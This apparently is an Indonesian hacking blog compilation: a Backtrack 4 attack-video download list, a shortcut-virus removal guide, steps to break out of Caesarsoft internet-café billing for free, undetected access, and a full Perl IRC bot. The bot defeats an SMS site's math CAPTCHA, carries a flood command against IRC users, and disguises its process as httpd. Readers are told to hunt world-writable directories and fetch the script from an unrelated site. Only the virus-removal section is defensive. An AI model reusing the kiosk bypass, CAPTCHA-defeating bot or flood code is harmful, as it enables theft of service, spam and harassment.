Video Tutorial: Hacking Linux With Backtrack 4

Kalau Ngomongin hacking menggunakan Linux, gak lengkap rasanya klo kita gak ngebahas tentang “Backtrack”. Salah satu distro linux yang merupakan turunan dari slackware ini telah merilis versi terbarunya, yaitu Linux Backtrack 4. Buat yang baru kenal sama distro Linux yang satu ini dan pengen mengetahuinya lebih dekat asal usulnya, baca aja disini, trus yang mau donlot versi terbarunya bisa di unduh disini…

Nah, kali ini kita mau share video Tutorial Hacking menggunakan Linux Backtrack 4 “gratis”. tapi anda butuh sedikit perjuangan untuk bisa mendapatkannya, soalnya size file yang akan di bagikan ini cukup besar, mencapai 6,3 Giga,,, hahaha…. lumayan bisa gempor kita nunggunya.

Adapun Teknik2 yang dibahas dalam tutorial ini adalah sebagai berikut :

• Episode 1 – Network Hacking – Arp Poisoning
• Episode 2 – Wireless Hacking – Cracking WEP
• Episode 3 – Wireless Hacking – DeAuth
• Episode 5 – Lock Picking – Bump Key
• Episode 6 – Phone Phreaking – Beige Box
• Episode 7 – Phone Phreaking/Network Hacking – Sniffing VOIP
• Episode 8 – Lock Picking – DIY Padlock Shims
• Episode 9 – Lock Picking – Mult-Disc Combo Locks
• Episode 10 – Hacking Basics – MD5
• Episode 11 – Website Hacking – Sql Injection
• Episode 12 – Hacking Basics – Backtrack
• Episode 13 – Website Hacking – XSS
• Episode 14 – Staying Secure – SSH Tunnel
• Episode 15 – Modding – Xbox Softmod
• Episode 16 – Wireless Hacking – Cracking WPA
• Episode 17 – Triple Boot – Windows, Backtrack, & Ubuntu
• Episode 18 – Local Password Cracking
• Episode 19 – Lock Picking Basics
• Episode 20 – Ettercap
• Episode 21 – XSS Tunnel
• Episode 22 – Playstation 2 Softmod
• Episode 23 – Cracking WEP Update
• Episode 24 – Bypass Hotspot’s Access Controls
• Underground – Install Backtrack 3 on USB
• Underground – CSRF(Cross Site Request Forgery)
• Underground – Alternate Data Streams
• Underground – Local File Inclusion
• Underground – Windows Privilege Escalation
• Underground – Bluetooth Hacking
• Underground – VMWare
• Underground – Fix Google Mail Enumerator
• Underground – Home Made Lock Picks
• Underground – Downfalls of Anti-Virus Software Part 2
• Underground – Downfalls of Anti-Virus Software
• Underground – Evilgrade
• Underground – Trojan Basics
• Underground – Manipulating Windows User Accounts
• Underground – Combine Files
• Underground – Password Phishing
• Underground – Windows SMB Relay Exploit
• Underground – Application Patching
• Underground – Metasploit Autopwn
• Underground – Email Spoofing
• Underground – Introduction
• Extracting Database Information from Information_Schema
• FPGA MD5 Cracker
• Arduino ARP Cop
• Email Injection
• Ping of Death
• DNS Spoofing with Virtual Hosts
• Bypass Cisco Clean Access & Cisco NAC Appliance
• Dual Boot – Windows & Backtrack
• Sql Injection Challenge How-to
• How to use Intel Pro/Wireless 3945ABG in Backtrack 2
• Local Privilege Escalation Vulnerability in Cisco VPN Client

nah, buat teman2 yang siap mengunduh video tutorial berkapasitas besar ini silahkan anda mendowloadnya di sini,,, hehe yg sabar ya, soalnya di bagi 33 part.

• http://hotfile.com/dl/25115438/d19f10f/bt.DVD.part01.rar.html
• http://hotfile.com/dl/25115968/18fa8e5/bt.DVD.part02.rar.html
• http://hotfile.com/dl/25116314/b963c46/bt.DVD.part03.rar.html
• http://hotfile.com/dl/25116591/fab11bb/bt.DVD.part04.rar.html
• http://hotfile.com/dl/25116915/2882182/bt.DVD.part05.rar.html
• http://hotfile.com/dl/25117144/6f25cef/bt.DVD.part06.rar.html
• http://hotfile.com/dl/25117442/205cd46/bt.DVD.part07.rar.html
• http://hotfile.com/dl/25117654/12cb72b/bt.DVD.part08.rar.html
• http://hotfile.com/dl/25117920/2b12f8b/bt.DVD.part09.rar.html
• http://hotfile.com/dl/25118192/276ee91/bt.DVD.part10.rar.html
• http://hotfile.com/dl/25118474/0a1c516/bt.DVD.part11.rar.html
• http://hotfile.com/dl/25118886/dac42cc/bt.DVD.part12.rar.html
• http://hotfile.com/dl/25119320/9a494df/bt.DVD.part13.rar.html
• http://hotfile.com/dl/25124466/f426200/bt.DVD.part14.rar.html
• http://hotfile.com/dl/25125403/c4bd091/bt.DVD.part15.rar.html
• http://hotfile.com/dl/25126157/7c34a43/bt.DVD.part16.rar.html
• http://hotfile.com/dl/25126892/6b2b305/bt.DVD.part17.rar.html
• http://hotfile.com/dl/25127791/d516701/bt.DVD.part18.rar.html
• http://hotfile.com/dl/25128566/e155665/bt.DVD.part19.rar.html
• http://hotfile.com/dl/25129145/24ea2b2/bt.DVD.part20.rar.html
• http://hotfile.com/dl/25129668/ce706b8/bt.DVD.part21.rar.html
• http://hotfile.com/dl/25130322/08fa8bb/bt.DVD.part22.rar.html
• http://hotfile.com/dl/25130962/8c4d9a7/bt.DVD.part23.rar.html
• http://hotfile.com/dl/25131616/28a9ef2/bt.DVD.part24.rar.html
• http://hotfile.com/dl/25132156/c3fb6cc/bt.DVD.part25.rar.html
• http://hotfile.com/dl/25132903/d6d8232/bt.DVD.part26.rar.html
• http://hotfile.com/dl/25133491/8dd5f2c/bt.DVD.part27.rar.html
• http://hotfile.com/dl/25134062/365b929/bt.DVD.part28.rar.html
• http://hotfile.com/dl/25134551/d52aa9a/bt.DVD.part29.rar.html
• http://hotfile.com/dl/25135308/3aa5284/bt.DVD.part30.rar.html
• http://hotfile.com/dl/25135898/135bc05/bt.DVD.part31.rar.html
• http://hotfile.com/dl/25136466/9f68bbc/bt.DVD.part32.rar.html
• http://hotfile.com/dl/25136722/1492995/bt.DVD.part33.rar.html

semoga video tutorial ini bermanfaat


…

Cara Menghapus Virus Shortcut

CARA 1 MENGHAPUS VIRUS SHORTCUT:

Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:

1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.

2. Putuskan komputer yang akan dibersihkan dari jaringan.

3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’. Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/

4. Hapus registri yang sudah dibuat oleh virus dengan cara:

-. Klik menu [Start]

-. Klik [Run]

-. Ketik REGEDIT.exe, kemudian klik tombol [OK]

-. Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

-. Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].

5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF –> INSTALL

[Version]

Signature=”$Chicago$”

Provider=Vaksincom

[DefaultInstall]

AddReg=UnhookRegKey

DelReg=del

[UnhookRegKey]

HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”

HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”

HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”

HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”

HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”

HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255

HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255

6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ‘Search’. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.

Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:

-. Icon ‘Microsoft Visual Basic Project’.

-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).

-. Ekstesi file ‘.EXE’ atau ‘.SCR’.

-. Type file ‘Application’ atau ‘Screen Saver’.

Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:

>. Icon Folder atau icon

>. Ekstensi .LNK

>. Type File ‘Shortcut’

>. Ukuran file 1 KB

Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).

7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html.

Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].

8. Install security patch ‘Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046′. Silakan download security patch tersebut di http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx

Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.

Original source: vaksin[dot]com & detikinet[dot]com

CARA 2 MENGHAPUS VIRUS SHORTCUT:

Ciri-ciri virus shortcut :

Pertama-tama, setelah menginfeksi komputer, dia akan membuat file induk database.mdb di My Documents

Yang kedua adalah virus tersebut akan membuat file autorun.inf di setiap drive harddisk, flash disk, dan folder tanpa kecuali.

Yang ketiga adalah dia akan membuat file Thumb.db (hati-hati, perhatikan bahwa file ini tanpa huruf s sedangkan thumbnail cache yang asli di komputer memiliki tambahan huruf s alias thumbs.db) di setiap folder

Untuk memancing korban, dia akan membuat file Microsoft.lnk dan New Harry Potter and….lnk di setiap folder yang jika dieksekusi akan langsung mengaktifkan virus tersebut.

Seperti halnya virus-virus lokal lainnya, dia akan membuat duplikat setiap folder namun kali ini bukan dengan ekstensi .exe melainkan extensi .ink alias shortcut.

Pada task manager terdapat proses services wscript.exe yang sedang berjalan. Dalam kondisi normal, tidak ada proses seperti ini.

Langkah-langkah menghapus virus shortcut :

1. Matikan System Restore. Sejak dulu saya selalu mematikan system restore segera setelah proses instalasi windows. Untuk keperluan backup dan imaging system, saya lebih memilih menggunakan third party seperti acronis ataupun Norton Ghost (baca dan dowload : Norton Ghost 15.0.0.35659 (2010) Full Serial Crack)

2. Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe)

Bisa menggunakan Process Explorer atau misc. tool pada HijackThis (baca dan download : HijackThis 2.0.2 ).

3. Hapus file virus database.mdb di My Documents..

4. Hapus file duplikat virus..

Untuk proses penghapusan, anda bisa menggunakan fasilitas search pada Windows.. Pada “More advanced options”, pastikan option “Search system folders” dan “Search hidden files and folders” keduanya telah dicentang.

Search file dengan nama autorun.inf ukurannya 8 KB

Search file dengan nama Thumb.db ukurannya 8 KB

Search file dengan ekstensi .lnk.lnk ukurannya 1 KB

Hapus semua file yang ditemukan..

Untuk lebih memudahkan proses pencarian yang sekaligus menghapus file yang ditemukan, anda bisa menggunakan software UTool, sebuah freeware yang dapat anda download secara gratis. Program ini akan secara otomatis mencari dan kemudian menghapus file-file yang diinginkan (lihat gambar).

5. Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis..

Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb (pada gambar namun file database.mdb udah saya hapus)

regedit_run

Untuk lebih memantabkan proses pencegahan dan melindungi komputer kita dari serangan virus lokal yang sangat memusingkan ini, anda dapat melakukan hal-hal berikut:

1. Setelah proses instalasi windows, segera matikan system restore.

2. Install software third party misal Tweak UI atau Magic Tweak untuk mendisable autorun dan mencegah teraktivasinya file-file .inf. Mungkin pada Windows XP Professional, proses menon-aktifkan autorun bisa dilakukan dengan mudah, namun pada versi Win XP Home, anda memerlukan software ini. Tambahan informasi, program MagicTweak selain berfungsi menon-aktifkan autorn  dapat juga digunakan untuk mencegah dijalankannya file-file .inf File autorun.inf yang biasanya merupakan awal dari berjangkitnya virus akan secara otomatis diubah menjadi murni file txt alias notepad oleh program ini dan dia tidak lagi bisa dieksekusi. Ini sangat membantu jika memang secara tidak sengaja kita mengaktifkan atau mengeksekusi autorun.inf meski proses autorun sudah didisable untuk semua drive (termasuk flash disk).

3. Setelah semua proses instalasi windows, driver, program, dan lain-lain telah selesai, segera backup image system anda menggunakan software macam Acronis True Image atau Norton Ghost, sehingga jika nanti ada masalah yang tidak dapat anda selesaikan dengan mudah, anda dapat merestoreasi backup system tersebut.

4. Jika perlu, instal juga Deep Freeze apabila komputer anda digunakan oleh banyak orang, sehingga settingan komputer tidak akan berubah-ubah.

5. Update info: Ciri-ciri virus terdapatnya virus shortcut pada flashdisk dapat diketahui dengan perbedaan icon flashdisk tersebut yang biasanya berbentuk seperti icon drive menjadi berubah seperti icon folder. Jika menemui icon seperti ini, berarti dalam flashdisk tersebut terdapat virus. Gunakan explorer dan buka flashdisk lewat explorer (jangan klik 2x dari my computer) dan hapus file autorun dan file2 tersangka virus lainnya secara manual dengan menekan shift + DEL (supaya tidak tersangkut di recycle bin). Rata-rata virus lokal dapat dicegah dengan cara manual seperti ini asalkan OPSI DISABLE AUTORUN pada windows dan/atau MagicTweak telah diaktifkan, dan juga OPSI DISABLE .INF FILE pada MagicTweak telah diaktifkan.

Nah, itu mungkin sedikit tips cara menghapus virus shortcut dan smoga komputer kamu setelah hapus virus shortcut jadi bebas deh dari virus shortcut

.

Cracking Caesarsoft Billing

Sebelumnya saya ijin maaf ato apalah yg laen klo udah repost… Cuma pingin berbagi tips n trik cara membobol billing warnet khususnya CAESARSOFT*

Sebenernya caranya cukup simple. kita log in id n pass username menggunakan administrator. tapi perlu digaris bawah klo cara ini “masih” ada kemungkinan ketauan. klo OPnya teliti cz waktu kita uda log in pake pass admin. di billing client ga kelacak alias ga ada user yg maket itu komp…jadi waspadalah !! ^^

Okelah tanpa panjang pendek. gini caranya :
1. Pastiin kita telah masuk login screennya Cyber Billing
2. Tekan key : Windows + U, trus kita masuk Utility Manager
3. Pilih menu Help
4.Klo sdh masuk help pagenya, Klik kanan di windows bar
5. Pilih Jump to URL..
6. Ketik ke C: buat masuk ke systemnya… trus modif aja sesuai keinginan (bisa jg lgsg masuk buat internetan gratis. Tapi cm pake IE aja..)

wkwkwkwkwkwkwk......

Cara Bikin Bot SMS Gratis

Berikut ini adalah cara bikin bot sms gratisan, jadi jangan khawatir untuk semuanya, kita sudah punya Free SMS Bot loh.

Layanan yang diberikan adalah sms gratis & ini bisa dilakukan di IRC.

Pertama:

1. Siapkan server / pc yang sudah terkoneksi dengan internet.
2. Kalau anda menggunakan Windows, maka harus install Perl Machine dulu, Kalau menggunakan Unix, bisa langsung bikin asal perlnya sudah terinstall juga. Jangan lupa yang di install adalah perl versi 5.8.8 / lebih.
   
3. Carilah directory yang bisa digunakan dengan perintah:  find / -perm 777 -type d
4. Kemudian simak code berikut:

############ SPECIAL THANKS TO ############
#BOT SMS GRATISAN
#POWERED BY BOTSMS / NIXSMS (www.botsms.com)
#TERIMA KASIH BANYAK UNTUK LAYANANNYA (COMEX)
#AUTHOR: KENZHIE / ARRAY / BYROE.NET
#BOT INI UNTUK BINUSHACKER MEMBER!! (www.binushacker.net)
############ MOHON JANGAN DIHAPUS ############
#!/usr/local/bin/perl -w
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use MIME::Base64;
########### SILAKAN EDIT MULAI DARI BAWAH SINI ###########
# SILAKAN ISI UNTUK SERVER ANDA DISINI.
my $server = “ix.dal.net”;
my @arnick = (“AYOSMS”);
my $ident = “AYOSMS”;
my $channel = “#BinusHacker”;
my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => 6667,Proto => ‘tcp’) or die “Can’t connect\n”;
my $owner = “UtuH”;
my $password = “saya”;
my @logged =();
my $procname=”/usr/sbin/httpd”;
### RANDOM NICK UNTUK KONEKSI###
my $nick = @arnick[rand scalar @arnick];
print $sock “NICK $nick\r\n”;
print $sock “USER $ident 8 * : 4- 8= 1[ 4LAYANAN SMS GRATIS 1] 8= 4-\r\n”;
while (my $input = <$sock>) {
if ($input =~ /004/) {
last;
}
if ($input =~ /433/) {
print $sock “NICK “.$nick.”|”.int(rand(100)).”\r\n”;
}
print $sock “PRIVMSG “.$channel.” :”.$input.”\r\n”;
}
print $sock “JOIN $channel\r\n”;
print $sock “PRIVMSG $channel : Layanan sms gratis BinusHacker, ketik: .sms 08XXXXXXXXX isipesan\r\n”;
print $sock “PRIVMSG $owner : boz….!!!?\r\n”;
my $ping_counter = 0;
while (my $input = <$sock>) {
chop $input;
$input =~ s/\r\n$//;
if ($input =~ /^PING(.*)$/i) {
print $sock “PONG $1\r\n”;
$ping_counter = $ping_counter + 1;
if($ping_counter == 100) {
print $sock “PRIVMSG BeschBot :!keep st3v0\r\n”;
$ping_counter = 0;
}
}
#print $sock “PRIVMSG #JW :”.$input.”\r\n”;   <—– ngecek semua input yg diterima oleh bot
####################help######################################
if ($input =~ /^.*\.help(.*)/){
@shnick = split(“!”,$input);
$shnick = @shnick[0];
$shnick =~ s/://g;
print $sock “PRIVMSG “.$shnick.” : -=[ 4POWERED BY BINUSHACKER - www.binushacker.net 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[#BINUSHACKER]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[ 4ADMIN COMMAND 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .join #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .part #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .say (nick)\n”;
print $sock “PRIVMSG “.$shnick.” : .quit\n”;
print $sock “PRIVMSG “.$shnick.” : .nick nick\n”;
#print $sock “PRIVMSG “.$shnick.” : —=[ 4FLOOD WAR 1]=—\n”;
#print $sock “PRIVMSG “.$shnick.” : .tsunami (nick)/#chan\n”;
#print $sock “PRIVMSG “.$shnick.” : .dccflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .noticeflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .msgflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .hop #chan (pesan)\n”;
print $sock “PRIVMSG “.$shnick.” : -=[ 4PUBLIC COMMAND 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .sms no pesan\n”;
print $sock “PRIVMSG “.$shnick.” : .email pengirim judul(tanpa sepasi judulnya) email-tujuan pesan\n”;
}
############################## mesin ###############################
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.quit(.*)/){
print $sock “QUIT “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.hop(.*)/){
for (1..10){
print $sock “PART “.$1.” “.$2.”\r\n”;
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.join(.*)/){
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.part(.*)/){
print $sock “PART “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^.*\.whois(.*)/){
print $sock “WHOIS “.$1.”\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$channel.” “.$hasil.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.nick(.*)/){
print $sock “NICK “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.say(.*)/){
print $sock “PRIVMSG “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.tsunami(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “PRIVMSG “.$chan.” Hajar “.$data.”!!!\r\n”;
$flood = “                                                                                                                                       ”;
for (1..10) {
print $sock “NOTICE “.$data.” :”.$flood.”\r\n”;
print $sock “PRIVMSG “.$data.” :\001″.$flood.”\001\n”;
}
print $sock “PRIVMSG “.$chan.” :Lapor!! “.$data.” sudah ditenggelamkan!\r\n”;
}
if ($input =~ /^.*\.ping(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “ctcp “.$data.” :ping\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$chan.” “.$hasil.”\r\n”;
}
if ($input =~ /^.*\.dns (.*)/){
print $sock “DNS “.$1.”\r\n”;
#$vhasil = “”;
$hasil=<$sock>;
}
###########################sms#############################
if ($input =~ /^.*\.sms(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
#ambil chan
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
#ambil user
@snick = split(“!”,$input);
$snick = @snick[0];
$snick =~ s/://g;
#print $sock “PRIVMSG “.$chan.” :pengirim “.$snick.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :”.$input.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :$data\r\n”;
#  no   psn–>
# 0857 XXXXXXXXXXX
@snomer = split(” “,$data);
#print $sock “PRIVMSG “.$chan.” :no tujuan”.@snomer[0].”\r\n”;
$no = @snomer[0];
$pesan = $data;
$pesan =~ s/ $no //g;
$pesan = $pesan.” \n\nDari $snick \n[BinusHackerFreeSMS]“;       #<—— di dalam sms
#print $sock “PRIVMSG “.$chan.” :”.$pesan.”\r\n”;
if(sendSMS($no,$pesan)){
print $sock “PRIVMSG “.$chan.” :sms terkirim ke “.$no.” dari “.$snick.”\r\n”;
}
else {
print $sock “PRIVMSG “.$chan.” :gagal\r\n”;
}
}
################end of sms#################
if ($input =~ /JOIN/){
@sjnick = split(“!”,$input);
$sjnick = @sjnick[0];
$sjnick =~ s/://g;
@sjoin = split(” “,$input);
$sjoin = @sjoin[0];
$sjoin =~ s/ //g;
print $sock “NOTICE “.$sjnick.” : 12for free sms ketik .sms nomer pesan\r\n”;
}
} #end while
sub sendSMS {
$no = $_[0];
$pesan = $_[1];
$site = “www.botsms.com”;
$path = “/widget/kirim-sms.php”;
############open konrksi#############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
###############cek apakah koneksi berhasil###############
if(!$socksms) {die(“g bisa bka socket $site port 80\r\n”);}
#############request data##############
print $socksms “GET $path http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: BinusHacker\r\n”;
print $socksms “Connection: Close\r\n”;
print $socksms “\r\n”;
#############ambil data,masukan ke dalam ariable array##############
my @data = <$socksms>;
##################close socket###################
close($socksms);
$data = join(“”,@data);
#print $data;
########ambil pertanyaan##########
@spertanyaan1 = split(“jawab ini : “,$data);
#print @pertanyaan1[1];
@spertanyaan2 = split(” =”,@spertanyaan1[1]);
#print @spertanyaan2[0];
@spertanyaan3 = split(” “,@spertanyaan2[0]);
#print “angka1= “.@spertanyaan3[0].”\r\n”;
#print “angka2= “.@spertanyaan3[2].”\r\n”;
$jawaban = @spertanyaan3[0]+@spertanyaan3[2];
#print “jawaban = $jawaban\r\n”;
###################ambil marguardcode################
@sguard1 = split(“name=’mathguard_code’ value=’”,$data);
#print @sguard1[1];
@sguard2 = split(“‘ /><br />”,@sguard1[1]);
#print @sguard2[0];
$sguard = @sguard2[0];
############devinisikan data yg diperlukan#############
$action = “/widget/kirim.php”;
$Phonenumbers = $no;
$Text = $pesan;
$mathguard_answer = $jawaban;
$mathguard_code = $sguard;
$TOMBOL = “KIRIM SMS”;
#################buat data yg akan di post##############
$Post = “Phonenumbers=”.$Phonenumbers.”&Text=”.$Text.”&mathguard_answer=”.$mathguard_answer.”&mathguard_code=”.$mathguard_code.”&TOMBOL=”.$TOMBOL;
$panjang = length $Post;
###############kirim sms###############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
print $socksms “POST $action http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: BinusHacker\r\n”;
print $socksms “Content-type: application/x-www-form-urlencoded\r\n”;
print $socksms “Content-length: “.$panjang.”\r\n”;
print $socksms “Connection: Close\r\n\r\n”;
print $socksms $Post;
@hasil = <$socksms>;
close($socksms);
$hasil = join(“”,@hasil);
if($hasil=~ /SMS sedang diproses/){
return 1;
}
else{
return 0;
}
############ END OF BOT SMS ##########
###### SPECIAL THANKS TO ALL MEMBER #BINUSHACKER @ IRC.DAL.NET ########
}

Diatas adalah tampilan untuk perl configuration, SAYA MOHON JANGAN DIHAPUS! Karena Logo tersebut ucapan terima kasih kami kepada penyedia layanan SMS GRATIS Indonesia (NixSMS).

Oke kita lanjut, cara cepatnya adalah:

Silakan download, wget, fetch sourcenya disini: http://www.nordosten.se/includes/js/tabs/smsbot.txt

Setelah selesai wget / fetch / upload filenya,

Kemudian jalankan dengan perintah:

perl smsbot.txt

Setelah itu, tinggal duduk manis menunggu BOT masuk ke channel.

Untuk mengirimkan SMS, ketikkan perintah:

.sms notujuan pesan anda

contoh:

.sms 123456789 halo, apakah anda sudah siap berpuasa?

Oh ya, jangan lupa kalau ada perubahan service di website silakan tanyakan kepada COMEX di IRC.DAL.NET #BINUSHACKER. Kebetulan kelihatan nongol orangnya. Kalau gak bisa dicari di Allnetwork..

Kemudian kalau ingin lebih jelas sourcenya: Silakan Hub [Array] / Kenzhie.

Silakan di explore lebih dalam lagi, agar dapat menggunakan beberapa provider sekaligus.Selamat mencoba & semoga berhasil